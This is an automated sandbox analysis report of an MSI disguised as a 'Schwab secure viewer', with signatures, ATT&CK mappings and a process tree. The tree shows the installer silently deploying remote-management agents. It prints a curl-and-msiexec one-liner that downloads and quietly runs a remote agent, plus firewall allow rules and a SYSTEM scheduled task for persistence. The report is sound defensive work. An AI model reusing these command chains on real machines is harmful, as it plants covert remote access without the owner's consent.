Analysis
- max time kernel
99s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
12/10/2026, 15:15
General
- Target SCHWAB_SECURE_VIEWER(71B2-C2A7-).msi
- Size 5.3MB
- Sample261012-snbz5sts4p
- SHA256 5819dad0de5765b5f1828b7d8a4278d88b0ae3af28fe9bf7d8cb5e5d2c1c5bd5
Score
8/10
Malware Config
Signatures
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 10 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Command and Scripting Interpreter: PowerShell 1 TTPs 20 IoCs
Using powershell.exe command.
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
- Drops file in System32 directory 2 IoCs
- Drops file in Program Files directory 32 IoCs
- Drops file in Windows directory 64 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Embeds OpenSSL 1 IoCs
Embeds OpenSSL, may be used to circumvent TLS interception.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 49 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\SCHWAB_SECURE_VIEWER(71B2-C2A7-).msi1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 8FAB16CF95447C159B9F0DA8F0DE7CA42⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1785E7F600189AB5FC8FF8FCD741F22D E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 22D14B0D70619EFE2D9BB44BECC0C453 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\Installer\MSI6FF.tmp"C:\Windows\Installer\MSI6FF.tmp" --action install --pipe-install-logs __EMPTY__ --key 9hBkRpBWLH3CVkcXGCHS7aYP2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\schtasks.exeschtasks /Delete /F /TN "Level\Level Watchdog"3⤵
-
-
C:\Windows\system32\cmd.execmd /C "netsh advfirewall firewall delete rule name=\"Level Agent\" dir=in"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=\"Level Agent\" dir=in4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.execmd /C "netsh advfirewall firewall add rule name=\"Level Agent\" description=\"Remote device management - https://level.io\" dir=in action=allow program=\"C:\Program Files\Level\level.exe\" enable=yes"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=\"Level Agent\" description=\"Remote device management - https://level.io\" dir=in action=allow program=\"C:\Program Files\Level\level.exe\" enable=yes4⤵
- Modifies Windows Firewall
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Program Files (x86)\Bluetrait Agent\Bluetrait MSP Agent.exe"C:\Program Files (x86)\Bluetrait Agent\Bluetrait MSP Agent.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd.exe" /C curl -o "action1_agent(My_Organization).msi" "https://app.na-2.action1.com/agent/3b9924a4-bc25-11f1-94d4-f9949f3c22d4/Windows/agent(My_Organization).msi" && msiexec /i "action1_agent(My_Organization).msi" /quiet /qn2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\curl.execurl -o "action1_agent(My_Organization).msi" "https://app.na-2.action1.com/agent/3b9924a4-bc25-11f1-94d4-f9949f3c22d4/Windows/agent(My_Organization).msi"3⤵
- Drops file in System32 directory
-
-
C:\Windows\System32\msiexec.exemsiexec /i "action1_agent(My_Organization).msi" /quiet /qn3⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Windows\SystemTemp\level.msi" LEVEL_API_KEY=9hBkRpBWLH3CVkcXGCHS7aYP /qn2⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\Action1\action1_agent.exeC:\Windows\Action1\action1_agent.exe service1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Hardware Summary_2037-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Updates_2010-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Running Processes_2030-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MS Outlook Versions_2043-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Drivers_2024-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Installed Printers_2025-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Monitors_2026-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Services_2033-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Status_2064-1790701184.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Level\level.exe"C:\Program Files\Level\level.exe" --key 9hBkRpBWLH3CVkcXGCHS7aYP --action=run1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& {param ( [string]$CommandName, [string]$CommandArguments, [int]$IntervalMinutes, [string]$TaskPath, [string]$RunAsUser, [string]$Description ) $action = New-ScheduledTaskAction -Execute $CommandName -Argument $CommandArguments $trigger=$null if ([Environment]::OSVersion.Version -ge (new-object 'Version' 10,0)) { $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes $IntervalMinutes) } else { # Windows 8/Windows Server 2012 or older $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes $IntervalMinutes) -RepetitionDuration ([System.TimeSpan]::MaxValue) } $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries $task = New-ScheduledTask -Action $action -Description $Description -Trigger $trigger -Settings $settings Register-ScheduledTask -Force -TaskName $TaskPath -InputObject $task -User $RunAsUser }" -CommandName "'C:\Program Files\Level\level.exe'" -CommandArguments '--check-service' -IntervalMinutes 10 -TaskPath "'Level\Level Watchdog'" -RunAsUser 'system' -Description "'Ensures the Level service is always running. For more details, see https://docs.level.io/en/articles/9926456-level-watchdog-task.'"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell /c "(New-Object -ComObject \"Microsoft.Update.SystemInfo\").RebootRequired"2⤵
-
-
C:\Program Files\Level\osqueryi.exe"C:\Program Files\Level\osqueryi.exe" -S --verbose --alarm_timeout 10 --disable_carver --disable_enrollment --disable_extensions --disable_reenrollment --disable_watchdog --disable_caching --disable_database --disable_events --disable_hash_cache --ephemeral --config_path "C:\Program Files\Level\osquery_config.conf" --json " SELECT address, mask FROM interface_addresses "2⤵
-
-
C:\Program Files\Level\osqueryi.exe"C:\Program Files\Level\osqueryi.exe" -S --verbose --alarm_timeout 10 --disable_carver --disable_enrollment --disable_extensions --disable_reenrollment --disable_watchdog --disable_caching --disable_database --disable_events --disable_hash_cache --ephemeral --config_path "C:\Program Files\Level\osquery_config.conf" --json " SELECT si.cpu_brand, si.cpu_physical_cores, ut.total_seconds, (SELECT gateway FROM routes WHERE destination = '0.0.0.0' limit 1) AS gateway, oi.version, ov.name AS os_name, ov.platform_like AS os_platform_like, ov.version AS os_version, ov.arch AS os_arch, ov.install_date AS os_install_date, si.hardware_vendor, si.hardware_model, si.physical_memory, (SELECT COUNT(*) FROM memory_devices) AS memory_slots, si.hardware_serial, si.board_vendor, si.board_model, si.board_version, si.board_serial, pi.version AS board_bios_version, pi.date AS board_release_date FROM (SELECT 1) LEFT JOIN system_info si ON 1 = 1 LEFT JOIN uptime ut ON 1 = 1 LEFT JOIN osquery_info oi ON 1 = 1 LEFT JOIN os_version ov ON 1 = 1 LEFT JOIN platform_info pi ON 1 = 1; "2⤵
-
-
C:\Program Files\Level\vc_redist.x64.exe"C:\Program Files\Level\vc_redist.x64.exe" /quiet /norestart2⤵
-
C:\Windows\Temp\{C78615EF-A618-4ED4-A1F3-17264973B2F7}\.cr\vc_redist.x64.exe"C:\Windows\Temp\{C78615EF-A618-4ED4-A1F3-17264973B2F7}\.cr\vc_redist.x64.exe" -burn.clean.room="C:\Program Files\Level\vc_redist.x64.exe" -burn.filehandle.attached=768 -burn.filehandle.self=772 /quiet /norestart3⤵
-
C:\Windows\Temp\{23DF18A9-015D-47D7-9165-3AE56ED6DAA8}\.be\VC_redist.x64.exe"C:\Windows\Temp\{23DF18A9-015D-47D7-9165-3AE56ED6DAA8}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{9B31B989-B14C-4E35-BB54-348FE9DC9406} {8A558BA5-86E5-4640-B9A9-CD8CFAC8FCB0} 25364⤵
-
-
-
-
C:\Program Files\Level\osqueryi.exe"C:\Program Files\Level\osqueryi.exe" -S --verbose --alarm_timeout 10 --disable_carver --disable_enrollment --disable_extensions --disable_reenrollment --disable_watchdog --disable_caching --disable_database --disable_events --disable_hash_cache --ephemeral --config_path "C:\Program Files\Level\osquery_config.conf" --json " SELECT version, revision FROM os_version; "2⤵
-
-
C:\Program Files\Level\osqueryi.exe"C:\Program Files\Level\osqueryi.exe" -S --verbose --alarm_timeout 10 --disable_carver --disable_enrollment --disable_extensions --disable_reenrollment --disable_watchdog --disable_caching --disable_database --disable_events --disable_hash_cache --ephemeral --config_path "C:\Program Files\Level\osquery_config.conf" --json " SELECT id.description, id.interface, id.mac, id.dns_domain, id.dhcp_server, id.dns_server_search_order, json_group_array(DISTINCT ia.address || '/' || ia.mask) AS ip_addresses, json_group_array(DISTINCT r.gateway) AS gateways FROM interface_details id JOIN interface_addresses ia ON ia.interface = id.interface, routes r ON r.destination = ia.address GROUP BY id.description, id.interface, id.mac, id.dns_domain, id.dhcp_server, id.dns_server_search_order "2⤵
-
-
C:\Program Files\Level\osqueryi.exe"C:\Program Files\Level\osqueryi.exe" -S --verbose --alarm_timeout 10 --disable_carver --disable_enrollment --disable_extensions --disable_reenrollment --disable_watchdog --disable_caching --disable_database --disable_events --disable_hash_cache --ephemeral --config_path "C:\Program Files\Level\osquery_config.conf" --json " SELECT device_id, model, max_clock_speed, number_of_cores FROM cpu_info"2⤵
-
-
C:\Program Files\Level\osqueryi.exe"C:\Program Files\Level\osqueryi.exe" -S --verbose --alarm_timeout 10 --disable_carver --disable_enrollment --disable_extensions --disable_reenrollment --disable_watchdog --disable_caching --disable_database --disable_events --disable_hash_cache --ephemeral --config_path "C:\Program Files\Level\osquery_config.conf" --json " SELECT bank_locator, manufacturer, memory_type, configured_clock_speed, SIZE, serial_number, part_number, form_factor FROM memory_devices "2⤵
-
-
C:\Program Files\Level\osqueryi.exe"C:\Program Files\Level\osqueryi.exe" -S --verbose --alarm_timeout 10 --disable_carver --disable_enrollment --disable_extensions --disable_reenrollment --disable_watchdog --disable_caching --disable_database --disable_events --disable_hash_cache --ephemeral --config_path "C:\Program Files\Level\osquery_config.conf" --json " SELECT type, hardware_model, serial, disk_size FROM disk_info "2⤵
-
-
C:\Program Files\Level\osqueryi.exe"C:\Program Files\Level\osqueryi.exe" -S --verbose --alarm_timeout 10 --disable_carver --disable_enrollment --disable_extensions --disable_reenrollment --disable_watchdog --disable_caching --disable_database --disable_events --disable_hash_cache --ephemeral --config_path "C:\Program Files\Level\osquery_config.conf" --json " SELECT ld.device_id AS mount_point, coalesce(bi.protection_status, 0) AS encrypted, ld.size, ld.free_space, ld.file_system, ld.description AS label, ld.boot_partition AS \"primary\" FROM logical_drives ld LEFT JOIN bitlocker_info bi ON bi.drive_letter = ld.device_id "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " try { $volume = Get-BitLockerVolume -MountPoint \"C:\" -ErrorAction Stop $volume.KeyProtector | ConvertTo-Json -Compress } catch { $err = [PSCustomObject]@{ HResult = $_.Exception.HResult Message = $_.Exception.Message FullyQualifiedErrorId = $_.FullyQualifiedErrorId } $err | ConvertTo-Json -Compress Exit 1 } "2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " try { $volume = Get-BitLockerVolume -MountPoint \"E:\" -ErrorAction Stop $volume.KeyProtector | ConvertTo-Json -Compress } catch { $err = [PSCustomObject]@{ HResult = $_.Exception.HResult Message = $_.Exception.Message FullyQualifiedErrorId = $_.FullyQualifiedErrorId } $err | ConvertTo-Json -Compress Exit 1 } "2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " try { $volume = Get-BitLockerVolume -MountPoint \"F:\" -ErrorAction Stop $volume.KeyProtector | ConvertTo-Json -Compress } catch { $err = [PSCustomObject]@{ HResult = $_.Exception.HResult Message = $_.Exception.Message FullyQualifiedErrorId = $_.FullyQualifiedErrorId } $err | ConvertTo-Json -Compress Exit 1 } "2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Level\osqueryi.exe"C:\Program Files\Level\osqueryi.exe" -S --verbose --alarm_timeout 10 --disable_carver --disable_enrollment --disable_extensions --disable_reenrollment --disable_watchdog --disable_caching --disable_database --disable_events --disable_hash_cache --ephemeral --config_path "C:\Program Files\Level\osquery_config.conf" --json " WITH admin_user_count AS (SELECT count(*) AS admin_accounts_count FROM users u JOIN groups g ON u.gid = g.gid WHERE g.group_sid = 'S-1-5-32-544'), uac AS (SELECT data AS enabled FROM registry WHERE path = 'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA') SELECT IIF(wsc.firewall IN ('Good', 'Poor'), wsc.firewall, '') AS firewall_state, fp.name AS firewall_provider, wsc.antivirus AS antivirus_state, avp.name AS antivirus_provider, wsc.autoupdate AS auto_update, wsc.internet_settings, uac.enabled AS user_account_control_enabled, wsc.windows_security_center_service, auc.admin_accounts_count FROM windows_security_center AS wsc LEFT JOIN windows_security_products AS fp ON fp.type = 'Firewall' AND fp.state = 'On' LEFT JOIN windows_security_products AS avp ON avp.type = 'Antivirus' AND avp.state = 'On' LEFT JOIN admin_user_count auc ON 1 = 1 LEFT JOIN uac ON 1 = 1 LIMIT 1 "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(Get-NetFirewallProfile -PolicyStore ActiveStore | Measure-Object -Property Enabled -Sum).Sum"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(Get-LocalGroupMember -SID \"S-1-5-32-544\" | Where-Object { $_.ObjectClass -ne 'User' -or $_.PrincipalSource -ne 'Local' -or (Get-LocalUser -SID $_.SID -ErrorAction SilentlyContinue).Enabled } | Measure-Object).Count"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\ProgramData\Package Cache\{d8bbe9f9-7c5b-42c6-b715-9ee898a2e515}\VC_redist.x64.exe"C:\ProgramData\Package Cache\{d8bbe9f9-7c5b-42c6-b715-9ee898a2e515}\VC_redist.x64.exe" /burn.runonce1⤵
-
C:\ProgramData\Package Cache\{d8bbe9f9-7c5b-42c6-b715-9ee898a2e515}\VC_redist.x64.exe"C:\ProgramData\Package Cache\{d8bbe9f9-7c5b-42c6-b715-9ee898a2e515}\VC_redist.x64.exe" /quiet /norestart /burn.log.append "C:\Windows\TEMP\dd_vcredist_amd64_20261012161800.log"2⤵
-
C:\ProgramData\Package Cache\{d8bbe9f9-7c5b-42c6-b715-9ee898a2e515}\VC_redist.x64.exe"C:\ProgramData\Package Cache\{d8bbe9f9-7c5b-42c6-b715-9ee898a2e515}\VC_redist.x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{d8bbe9f9-7c5b-42c6-b715-9ee898a2e515}\VC_redist.x64.exe" -burn.filehandle.attached=560 -burn.filehandle.self=580 /quiet /norestart /burn.log.append "C:\Windows\TEMP\dd_vcredist_amd64_20261012161800.log"3⤵
-
C:\ProgramData\Package Cache\{d8bbe9f9-7c5b-42c6-b715-9ee898a2e515}\VC_redist.x64.exe"C:\ProgramData\Package Cache\{d8bbe9f9-7c5b-42c6-b715-9ee898a2e515}\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{8CAFFAC0-685F-4C38-BBA9-A55D04931FAB} {92C74BD1-E8F6-4B27-AC3E-DEA0638F6DAF} 47084⤵
-
C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe"C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -uninstall -quiet -burn.related.upgrade -burn.ancestors={d8bbe9f9-7c5b-42c6-b715-9ee898a2e515} -burn.filehandle.self=1008 -burn.embedded BurnPipe.{520FDEF9-39A6-4662-A0A5-0FEFF11A961D} {2C1C37A3-9CCC-4E90-806F-0CBC800B9077} 37005⤵
-
C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe"C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -burn.filehandle.attached=556 -burn.filehandle.self=576 -uninstall -quiet -burn.related.upgrade -burn.ancestors={d8bbe9f9-7c5b-42c6-b715-9ee898a2e515} -burn.filehandle.self=1008 -burn.embedded BurnPipe.{520FDEF9-39A6-4662-A0A5-0FEFF11A961D} {2C1C37A3-9CCC-4E90-806F-0CBC800B9077} 37006⤵
-
C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe"C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{A4431991-7C40-4265-85EB-1DB85EBF880A} {44C4746E-1EC7-4BC0-A4D5-2543BC5E3ADC} 32847⤵
-
-
-
-
-
-
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Installer Packages
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Installer Packages
1Defense Evasion
Hide Artifacts
1Ignore Process Interrupts
1Impair Defenses
1Disable or Modify System Firewall
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
e59d067.rbs
e59d06c.rbs
e59d06d.rbs
e59d072.rbs
e59d078.rbs
e59d084.rbs
e59d08b.rbs
e59d09a.rbs
BlackSharp.Core.dll
Bluetrait MSP Agent.exe
BluetraitPreUninstall.exe
BluetraitUserAgent.exe
DiskInfoToolkit.dll
HidSharp.dll
Microsoft.Management.Infrastructure.dll
Newtonsoft.Json.dll
Newtonsoft.Json.xml
RAMSPDToolkit-NDD.dll
Renci.SshNet.dll
SharpSnmpLib.dll
SharpSnmpLib.pdb
System.Buffers.dll
System.Data.SQLite.Linq.dll
System.Data.SQLite.dll
System.Management.Automation.dll
System.Memory.dll
System.Numerics.Vectors.dll
System.Runtime.CompilerServices.Unsafe.dll
LibreHardwareMonitorLib.dll
config.db
config.db
defaults.json
paexec.exe
LibreHardwareMonitorLib.dll
SQLite.Interop.dll
LibreHardwareMonitorLib.dll
SQLite.Interop.dll
osqueryi.exe
vc_runtimeMinimum_x64.msi
action1_agent.exe
advanced_settings.json
agent_downgrade.version_pair
DataSource_1004.ps1
DataSource_1008.ps1
MSI6FF.tmp
MSID614.tmp
MSIE566.tmp
e59d068.msi
action1_agent(My_Organization).msi
source.msix.dnld.msix
installed.db
__PSScriptPolicyTest_a3mpjdhm.h0e.psm1
level.msi
APPX.c06_ua0dm4hh0jf3zt5w8x1jg.tmp
APPX.r38n8l9p886bei8earwixrzjf.tmp
APPX.w711c39ase9i7kjxn5r2ps78f.tmp
{6F49E2F2-E97C-499B-AB52-8B01881AE567}
logo.png
VC_redist.x64.exe
BootstrapperApplicationData.xml
license.rtf
thm.wxl
thm.xml
wixstdba.dll
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
metadata-2
{6079f71e-b964-4bfe-b872-a64489c56433}_OnDiskSnapshotProp
memory/1272-54-0x0000027E0FC10000-0x0000027E0FC7A000-memory.dmp
memory/1272-58-0x0000027E105B0000-0x0000027E105D2000-memory.dmp
memory/1272-65-0x0000027E107E0000-0x0000027E1081A000-memory.dmp
memory/1272-56-0x0000027E10860000-0x0000027E10912000-memory.dmp
memory/1272-62-0x0000027E29270000-0x0000027E292DA000-memory.dmp
memory/1272-873-0x0000027E2A880000-0x0000027E2A8A8000-memory.dmp
memory/1272-874-0x0000027E2A900000-0x0000027E2A94A000-memory.dmp
memory/1272-66-0x0000027E10760000-0x0000027E10787000-memory.dmp
memory/1272-807-0x0000027E2A830000-0x0000027E2A842000-memory.dmp
memory/1904-883-0x00000180F0080000-0x00000180F0132000-memory.dmp
memory/1904-884-0x00000180F0170000-0x00000180F0186000-memory.dmp
memory/2340-650-0x00000238AF4C0000-0x00000238AF4CE000-memory.dmp
memory/2340-651-0x00000238AFA40000-0x00000238AFA5A000-memory.dmp
memory/2340-621-0x00000238AF6F0000-0x00000238AF7A2000-memory.dmp
